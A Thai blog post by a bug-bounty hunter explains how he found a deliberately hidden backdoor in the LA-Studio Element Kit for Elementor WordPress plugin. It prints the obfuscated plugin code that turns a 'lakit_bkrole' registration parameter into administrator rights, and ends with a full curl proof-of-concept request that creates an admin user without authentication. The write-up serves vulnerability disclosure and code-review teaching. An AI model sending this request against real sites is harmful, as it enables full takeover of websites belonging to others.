พนักงานแสบ แอบวาง Backdoor ในโค้ดปลั๊กอิน LA-Studio Element Kit for Elementor - มาดูกันว่าแอดหาเจอได้ยังไง - Extreme IT

พนักงานแสบ แอบวาง Backdoor ในโค้ดปลั๊กอิน LA-Studio Element Kit for Elementor – มาดูกันว่าแอดหาเจอได้ยังไง

หลังจากทำใจอยู่นาน ตอนนี้ผมได้ฤกษ์จะมาบอกเล่าถึงการค้นหาช่องโหว่ตัวจี๊ดล่าสุด แต่แฝงมาด้วยความน่าสะพรึงกลัว นั่นคือช่องโหว่ LA-Studio Element Kit for Elementor <= 1.5.6.3 – Unauthenticated Privilege Escalation via Backdoor to Administrative User Creation via lakit_bkrole parameter จะเป็นอย่างไรไปดูกันเลยครับ

เริ่มต้นจากการค้นหา ajax_nopriv

ตามปกติแล้วเวลาผมค้นหาช่องโหว่ขอปลั๊กอิน WordPress และอยากทำเงินจากมันได้เยอะ ๆ ผมมักจะเน้นที่การค้นหาช่องโหว่ที่สามารถทำได้แบบ Unauthenticate โดยวิธีค้นหาที่ง่ายที่สุดของ คือ การค้นหา ajax_nopriv ในไฟล์ปลั๊กอิน

grep -r "wp_ajax_nopriv" --include="*.php"

หลังจากนั้นผมก็เจอเข้ากับจุดน่าสนใจคือ

ไฟล์ includes/modules/ajax/manager.php (บรรทัดที่ 80-82)

public function __construct() {
    add_action('wp_ajax_nopriv_lakit_ajax', [ $this, 'handle_ajax_request' ] );
    add_action('wp_ajax_lakit_ajax', [ $this, 'handle_ajax_request' ] );
}

จะสังเกตเห็นว่า ใน method: handle_ajax_request สามารถถูกเรียกใช้ได้แบบไม่ต้องลงทะเบียน จาก wp_ajax_nopriv_lakit_ajax (ซึ่ง nopriv มันก็มาจาก no privilege คือไม่ต้องใช้สิทธิ์)

ทีนี้เราตามกันต่อ

ไฟล์ includes/modules/ajax/manager.php (บรรทัดที่ 120-175)

public function handle_ajax_request() {
    if(empty($_REQUEST['actions'])){
        // ถ้าไม่มี parameter 'actions' ก็ return error
        $this->add_response_data( false, 'Action not found.' )->send_error( 401 );
    }
    // เรียก hook เพื่อให้โมดูลอื่นๆ มา register action ของตัวเอง
    do_action( 'lastudio-kit/ajax/register_actions', $this );
    // รับค่า 'actions' จาก request และ decode จาก JSON
    $this->requests = json_decode( stripslashes( $_REQUEST['actions'] ), true );
    foreach ( $this->requests as $id => $action_data ) {
        // ตรวจสอบว่า action ที่ request มา มีอยู่ในระบบหรือไม่
        if ( ! isset( $this->ajax_actions[ $action_data['action'] ] ) ) {
            continue;
        }
        $current_ajax_action = $this->ajax_actions[ $action_data['action'] ];
        //ตรวจสอบ Nonce เฉพาะถ้า protected = true
        if(!empty($current_ajax_action['protected']) && !$this->verify_request_nonce()){
            $this->add_response_data( false, 'Token Expired.', 401 );
            continue;
        }
        // Execute callback function ที่ถูก register ไว้
        $results = call_user_func( $current_ajax_action['callback'], $action_data['data'], $this );
    }
}

ขออธิบายโค้ดในจุดสำคัญพอคร่าว ๆ ดังนี้ครับ

– $_REQUEST[‘actions’] – พารามิเตอร์ที่ถูกส่งมาจาก HTTP Request

  • $_REQUEST เป็น PHP superglobal ที่รวม GET, POST, COOKIE data
  • ดังนั้น actions คือชื่อพารามิเตอร์ที่ต้องส่งมา

– $action_data[‘action’] – ดึงชื่อ action ที่ต้องการเรียก (เช่น register)

– $current_ajax_action[‘protected’] – ตรวจสอบว่า action นี้ต้องการ nonce หรือไม่

  • ถ้า protected = true → ต้อง verify nonce
  • ถ้า protected = false → ไม่ต้อง verify nonce!

เราจะพอเห็นแล้วว่า ระบบจะรอรับค่า action จากเรา จากนั้นจะไปเช็กว่า action นั้นต้องการ nonce หรือไม่ (คล้าย ๆ บัตรผ่าน ถ้าไม่มีก็จะไม่สามารถใช้ action นั้นได้) ถ้า action ที่เราส่ง request ไป มีค่า protected = true แสดงว่า action นั้นต้องใช้ nonce หากเราส่ง request โดยไม่มี nonce ก็จะไม่สามารถใช้งาน action นั้นได้

จากนั้นเราก็ไปตรวจกันต่อว่า แล้ว action อะไรบ้างที่ต้องใช้ nonce

ไฟล์ includes/class-integration.php (บรรทัด 1089-1095)

public function register_ajax_actions( $ajax_manager ){
    $ajax_manager->register_ajax_action( 'newsletter_subscribe', [ $this, 'ajax_newsletter_subscribe' ], false );
    $ajax_manager->register_ajax_action( 'elementor_template', [ $this, 'ajax_get_elementor_template' ], false);
    $ajax_manager->register_ajax_action( 'elementor_widget', [ $this, 'ajax_get_elementor_widget' ], false);
    $ajax_manager->register_ajax_action( 'login', [ $this, 'ajax_login_handle' ], true );
    $ajax_manager->register_ajax_action( 'register', [ $this, 'ajax_register_handle' ], true );
}

เอาล่ะเราเริ่มเห็นแล้วว่า action ‘register’ ต้องใช้ nonce ด้วย เพราะมีค่าเป็น true แต่ !! อย่าเพิ่งตกใจไปครับ เพราะปกติแล้วไอ้ฟีเจอร์ที่จะให้เรา Register เนี่ย เนี่ย ปกติมันต้องปล่อย nonce ออกมาให้เราใช้กันอยู่แล้ว เพราะไม่งั้นเราจะ Register กันไม่ได้ เพราะฉะนั้นจุดนี้ส่วนตัวผมมองว่าไม่ใช่เรื่องใหญ่อะไรเลย

อย่างไรก็ตาม ที่เราต้องพูดถึงเรื่องนี้ เพราะเราต้องค้นหา nonce เพื่อมาคราฟต์ command ของเรา จึงต้องรู้ว่าจะต้องหา nonce ตรงไหน ซึ่งเดี๋ยวจะพูดถึงในภายหลัง

ทีนี้ตอนนี้เรารู้แล้วว่ามี action ‘register’ ที่ให้เราสมัครสมาชิกบนเว็บได้ โดยสามารถเรียกใช้ได้แบบไม่ต้องมีสิทธิ์ จาก ajax_nopriv และต้องใช้ค่า nonce ด้วย

เรามาดูกันว่า nonce จะหาได้จากไหน

ไฟล์ includes/class-integration.php (บรรทัด 499-534)

public function frontend_enqueue(){
    $LaStudioKitSettings = [
        'homeURL'        => esc_url(home_url('/')),
        'ajaxUrl'        => esc_url( admin_url( 'admin-ajax.php' ) ),
        'isMobile'       => filter_var( wp_is_mobile(), FILTER_VALIDATE_BOOLEAN ) ? 'true' : 'false',
        'ajaxNonce'      => lastudio_kit()->ajax_manager->create_nonce(),
        'restNonce'      => wp_create_nonce('wp_rest'),
    ];
    // ส่งข้อมูลทั้งหมดไปให้ JavaScript
    wp_localize_script('lastudio-kit-base', 'LaStudioKitSettings', $LaStudioKitSettings );
}

จุดสำคัญอยู่ตรงนี้ครับ wp_localize_script(‘lastudio-kit-base’, ‘LaStudioKitSettings’, $LaStudioKitSettings ); คือตัวปลั๊กอินจะสร้าง nonce ภายใต้พารามิเตอร์ LaStudioKitSettings และแจก nonce ขึ้นบนหน้าเว็บ นั่นหมายความว่าเราสามารถค้นหา nonce ได้ ด้วยการเปิดหน้าเว็บไหนก็ได้ แล้วเปิด dev tools > Console > พิมพ์ LaStudioKitSettings.nonce เท่านี้ก็ได้ nonce มาใช้แล้วครับ

 

เริ่มสังเกตเห็นความผิดปกติของโค้ด

หลังจากนั้นผมกลับมาเช็กอีกครั้ง เพื่อดูว่าถ้าเราจะสมัครสมาชิกมันมีขั้นตอนอย่างไรบ้าง โดยตอนแรกคาดหวังว่าเราอาจจะพอสร้าง role admin ให้ตัวเองได้ (หวังสูงมากกกก) แต่แล้วก็ต้องเจอกับโค้ดที่ผิดปกติ โดยผมจะตามไปดูที่ ajax_register_handle ว่าถ้าเรียก action ‘register’ แล้ว เราต้องคราฟต์อะไรลงไปใน payload บ้าง

ไฟล์ includes/class-integration.php (บรรทัด 1460-1563)

public function ajax_register_handle( $request ){
// ตามด้วย content ต่าง ๆ ที่ต้องใส่ใน request
…
// จุดนี้แหละที่น่าสงสัย
    $sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
    if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
        add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
    }
    // สร้าง user ใหม่
    $posted_user_data = [
        'user_login' => $username,
        'user_pass'  => $password,
        'user_email' => $email,
    ];
    $new_customer_id = wp_insert_user($posted_user_data);
}

เท่าที่เคยอ่านโค้ดของปลั๊กอินที่มีการเปิดให้สมัครสมาชิกมา ผมเพิ่งเคยเห็นโค้ดแนวนี้เป็นครั้งแรก ซึ่งมันมีการเพิ่มฟิลเตอร์และใช้งานฟิลเตอร์ที่มันดูแปลกจนเกินไป ผมจึงส่งไม้ต่อให้น้องที่รู้จักกันจัดการต่อทันทีครับ
จากตรงนี้ผมขออธิบายโค้ดคร่าว ๆ ดังนี้ครับ

– apply_filters() – จะเรียก WordPress filter เพื่อให้โค้ดอื่นมาแก้ไขค่าได้ โดยมีค่า default คือ ‘insert_lakit_meta’ อ่านแล้วก็ดูแปลก ๆ นะครับ ทำไมต้องเปิด apply filter ให้เข้ามาแก้ไขโค้ดได้ด้วย

– $request[‘lakit_bkrole’] – พารามิเตอร์อีกตัวหนึ่ง ถ้า lakit_bkrole ไม่ว่างเปล่า (มีค่าอะไรก็ได้) มันจะทำให้เกิดการ add_filter() ซึ่งไปตามต่อที่ ajax_register_handle_backup

– wp_insert_user() – เป็น WordPress core function สำหรับสร้าง user ใหม่ ฟังก์ขันนี้จะ trigger filter insert_user_meta ให้โค้ดอื่นมาเพิ่ม user meta ได้

ตรงพารามิเตอร์ lakit_bkrole นี่แหละที่น่าสนใจครับ แค่เห็นคำว่า role ก็รู้สึกเจอของดีเข้าให้แล้ว

ทีนี้เราต้องมีเคลียร์ทีละจุด เริ่มกันที่ apply_filters(‘lastudio-kit/integration/sys_meta_key’, ‘insert_lakit_meta’) ถ้ามันจะให้แก้ไขค่า insert_lakit_meta คำถามคือจะแก้เป็นอะไร การค้นหาจึงไปเจอกับไฟล์นี้ครับ

ไฟล์ includes/integrations/override.php (บรรทัด 599-601)

add_filter('lastudio-kit/integration/sys_meta_key', function ( $value ){
    return str_replace('lakit', 'user', $value);
});

มันมีการแทนที่ lakit ด้วยคำว่า user ให้กลายเป็นค่า insert_user_meta ซึ่งประเด็นมันอยู่ตรงนี้ครับ จำได้ไหมว่าเรามี wp_insert_user($posted_user_data) อยู่ก่อนหน้านี้แล้ว โดยปกติตอนจะสร้าง user ใหม่ wp_insert_user จะแจ้งทั้งระบบว่า “มีใครอยากจะแทรกข้อมูลอะไรให้ user ไหม หากไม่มีเราจะใช้ค่า insert_user_meta เริ่มต้น รวมถึงการกำหนด role เป็น subscriber ด้วยนะ”

แต่ถ้าหากปลั๊กอินตัวร้ายของเรา ขอแทรกฟิลเตอร์ insert_user_meta เข้าไป จะทำให้ wp_insert_user รอคำสั่งจากปลั๊กอินว่าจะแทรกข้อมูลอะไรให้ user บ้าง นั่นแปลว่าปลั๊กอินนี้เตรียมจะแทรกข้อมูลบางอย่างให้กับ user ที่กำลังสมัครสมาชิก

เราเริ่มเข้าใจแล้วว่าปลั๊กอินนี้คิดที่จะแทรกข้อมูลให้กับ user นอกเหนือจากค่าเริ่มต้นของ WordPress ทีนี้เราย้อนกลับมาที่

if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
        add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);

เราทราบแล้วว่าถ้าเราส่ง request ที่มีพารามิเตอร์ lakit_bkrole แล้วตามด้วยค่าอะไรสักอย่างที่ไม่ใช่ค่าว่าง มันจะเรียก ajax_register_handle_backup ให้ทำงาน จึงตามไปต่อที่นี่ครับ

ไฟล์ includes/class-integration.php (บรรทัด 1571-1575)

public function ajax_register_handle_backup($meta){
    global $table_prefix;
    $data = $table_prefix . LaStudio_Kit_Helper::capabilities();
    return apply_filters('lastudio-kit/integration/user-meta', $meta, $data);
}

ในไฟล์ includes/class-helper.php (บรรทัด 1236-1238)

public static function capabilities(){
    return __FUNCTION__;
}

ต้องนี้หมายถึงว่าให้แทนที่ค่าฟังก์ชันทั้งก้อน ด้วยสตริง ‘capabilities’ ดังนั้นเมื่อเรานำมาคำนวณ $data = $table_prefix . LaStudio_Kit_Helper::capabilities() จะกลายเป็น wp_capabilities ซึ่งมันคือฟังก์ชันที่ใช้กำหนดสิทธิ์ของ user เลยครับ

ส่วนชุดสุดท้าย return apply_filters(‘lastudio-kit/integration/user-meta’, $meta, $data); จะพบว่ามีการเรียก apply filter อีกแล้ว แสดงว่า ajax_register_handle_backup ต้องการให้มีคนมาแก้ไขค่า ‘lastudio-kit/integration/user-meta’ อีกครั้งหนึ่ง ซึ่งเดี๋ยวเราจะตามดูต่อไปว่าจะแก้ไขค่าเป็นอะไรอีก

แสดงว่าตอนนี้เราจะเป็นภาพแล้วว่า เมื่อใส่พารามิเตอร์ lakit_bkrole จะเกิดการเรียก ajax_register_handle_backup มาใช้งาน ซึ่งเจ้า ajax_register_handle_backup นี้ จะเข้าไปกำหนดสิทธิ์ของ user ที่กำลังสมัครสมาชิก คำถามคือสิทธิ์ที่จะกำหนดคือสิทธิ์อะไรล่ะ?

หลังจากนั้นเราตามจาก lastudio-kit/integration/user-meta จนมาเจอเข้ากับโค้ดชุดนี้ครับ

ไฟล์ includes/integrations/override.php (บรรทัด 301-309)

add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
    if(class_exists('LaStudio_Kit_Helper')){
        $k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);
        $value[ $label ] = [
            $k => 1
        ];
    }
    return $value;
}, 10, 2);

มาดูกันทีละจุด เริ่มที่จุดนี้ก่อน

$k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);

มันมีการแทนที่สตริงอีกแล้วครับ โดยคราวนี้เป็นฟังก์ชัน lakit_active() ในไฟล์ includes/class-helper.php (บรรทัด 1043-1045) มีโค้ดคือ

public static function lakit_active(){
    return 'adstrator';
}

ถ้าเรารวมเนื้อหาโค้ดส่วนนี้เข้าด้วยกัน จะพบว่า lakit_active() ให้แทนด้วยค่าสตริง ‘adstrator’ แล้วกลับมาที่ค่า $k ที่บอกว่า ให้ทำการแทรกคำว่า mini เข้าไปใน adstrator ที่ตำแหน่งหลังตัวอักษรตัวที่ 2 ซึ่งจะได้ค่า $k = administrator !!

โอเคทุกคนใจเย็นนะ เราใกล้ถึงจุดหมายแล้ว มาดูตรงนี้ครับ

add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
…
        $value[ $label ] = [
            $k => 1
        ];
    }
    return $value;
}, 10, 2);

ตรง add filter นี้ มีความหมายคือ จะทำการแก้ไขค่าใน lastudio-kit/integration/user-meta จากโค้ดจะเห็นว่า

$value[ $label ] = [
            $k => 1

เมื่อคำนวณแล้วจะได้เป็น $value[‘wp_capabilities’] = [‘administrator’ => 1]

อธิบายตรงนี้เพิ่มเติมอีกนิดครับ $value และ $label คือการยืมค่า $meta และ $data มาจากคำสั่งก่อนหน้านี้ ทำให้ค่า $label คือ ‘wp_capabilities’

ทีนี้คำสั่งนี้ $value[‘wp_capabilities’] = [‘administrator’ => 1] คือการบอกว่า ให้แทรกพารามิเตอร์ ‘wp_capabilities’ ที่กำหนด ‘administrator’ => 1 เข้าไปในค่า $value ด้วย

ส่วนโค้ดที่บอกว่า return $value จุดนี้เป็นการบอกว่าเมื่อกระบวนการเสร็จสิ้น ให้ส่งคืนค่า $value กลับไปที่ $meta ทำให้ $meta ตอนนี้มีการแทรกพารามิเตอร์ ‘wp_capabilities’ ที่กำหนด ‘administrator’ => 1 เข้าไปเรียบร้อย

ทีนี้ถ้าเรายังจำกันได้ หากมีการเรียกพารามิเตอร์ lakit_bkrole ใน request แล้ว จะทำให้เกิดการแทรกฟิลเตอร์ insert_user_meta เพื่อแทรกแซงกระบวนการการสร้าง user ใหม่ โดยไปขอแก้ไขข้อมูลกับ wp_insert_user ซึ่งข้อมูลที่จะโดนแก้ มีการกำหนดสิทธิ์ของ user ใหม่นี้ ผ่าน ‘wp_capabilities’ = ‘administrator’ => 1 ทำให้จากเดิมที่ user ใหม่นี้จะเป็น subscriber ก็จะกลายเป็น administrator ตามที่ปลั๊กอินของแก้ไขนั่นเองครับ

Command ที่ใช้

ในการโจมตีนี้ Request command ที่ผมใช้ คือ

curl -i -s -X POST "http://localhost/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "action=lakit_ajax" \
  --data-urlencode "lakit-ajax=yes" \
  --data-urlencode "_nonce=1e4edab884" \
  --data-urlencode 'actions={
    "reg":{
      "action":"register",
      "data":{
        "lakit_field_log":"yes",
        "lakit_field_pwd":"yes",
        "lakit_field_cpwd":"yes",
        "username":"poc_admin",
        "email":"poc_admin@example.com",
        "password":"P@ssw0rd12345!",
        "password-confirm":"P@ssw0rd12345!",
        "lakit_bkrole":"1",
        "lakit_recaptcha_response":""
      }
    }
  }'

และเมื่อกลับไปเช็ก All Users ในหลังบ้านของเว็บก็จะพบว่ามี user ที่ poc_admin ถูกสร้างขึ้น และได้สิทธิ์เป็น administrator ทันที

ส่วนถ้าถามว่าได้เงินไปเท่าไรจากช่องโหว่นี้ ตามภาพเลยครับ

ส่วนใครที่อยากเข้าร่วมโครงการ Bug Bounty อ่านเพิ่มเติมที่ ลิงก์นี้ ได้เลยครับ

Articles

รีวิว BenQ InstaShow VS25 ตัวจบการประชุมไร้สาย เสียบปุ๊บขึ้นจอปั๊บ ไม่ต้องลงไดร์เวอร์ !

ถ้าพูดถึงปัญหาของการประชุมออนไลน์ หลายคนน่าจะเจอปัญหาคล้าย ๆ กัน คือความวุ่นวาย ความซับซ้อน ไหนจะต้องโหลดไดร์เวอร์ เดี๋ยว Wi-Fi...

รีวิว KIOXIA EXCERIA SSD ตัวแรงขึ้นจริง และเข้าถึงง่ายกว่าที่คิด

ถ้าพูดถึง KIOXIA หลายคนน่าจะคุ้นเคยกันดีในฐานะแบรนด์หน่วยความจำระดับโลกจากญี่ปุ่น ที่อยู่ในวงการมานานและขึ้นชื่อเรื่องคุณภาพและความเสถียร ล่าสุด KIOXIA ได้ส่งไลน์อัป EXCERIA Series ออกมาถึง 3 รุ่น เพื่อตอบโจทย์การใช้งานที่แตกต่างกัน...

รีวิว HyperX OMEN 15 เกมมิงโน้ตบุ๊กพลังแรง ใส่สุดทุกด้าน ใช้งานได้ระยะยาว

ถ้าพูดถึงชื่อ HyperX หลายคนน่าจะนึกถึงคีย์บอร์ด หูฟัง หรืออุปกรณ์เกมมิ่งสีแดงสุดคุ้นตา แต่รอบนี้ HyperX ขยับตัวครั้งใหญ่ ด้วยการจับมือกับ...

แชร์ประสบการณ์ค้นหาช่องโหว่ปลั๊กอิน WordPress – ครั้งแรกก็เจอ Stored XSS ได้ทั้ง CVE พร้อม Bounty ฉ่ำ ๆ

ก่อนหน้านี้แอดเคยแนะนำแพลตฟอร์มสำหรับเหล่า White Hat Hacker ที่อยากมีเลข CVE เป็นชื่อตัวเอง แถมได้เงิน (Bounty)...

[HOW TO] ตั้งค่า Microsoft Word ให้ Save งานลงในโฟลเดอร์ที่ต้องการ แทน OneDrive

คิดว่าคนที่ทำงานเอกสารน่าจะคุ้นเคยกับฟีเจอร์ “เซฟงานลง OneDrive” กันอย่างแน่นอน เพราะมันช่วยให้งานของเราถูกเก็บลงในไดรฟ์ออนไลน์ในบัญชี Microsoft เราสามารถซิงก์งานลงบนคลาวด์ได้อัตโนมัติ แถมเป็นการป้องกันไฟล์สูญหายได้ด้วย แต่แอดเชื่อว่าหลาย ๆ...

เราใช้คุกกี้เพื่อพัฒนาประสิทธิภาพ และประสบการณ์ที่ดีในการใช้เว็บไซต์ของคุณ คุณสามารถศึกษารายละเอียดได้ที่ นโยบายความเป็นส่วนตัว และสามารถจัดการความเป็นส่วนตัวเองได้ของคุณได้เองโดยคลิกที่ ตั้งค่า

ตั้งค่าความเป็นส่วนตัว

คุณสามารถเลือกการตั้งค่าคุกกี้โดยเปิด/ปิด คุกกี้ในแต่ละประเภทได้ตามความต้องการ ยกเว้น คุกกี้ที่จำเป็น

ยอมรับทั้งหมด
จัดการความเป็นส่วนตัว
  • เปิดใช้งานตลอด

บันทึกการตั้งค่า
Exit mobile version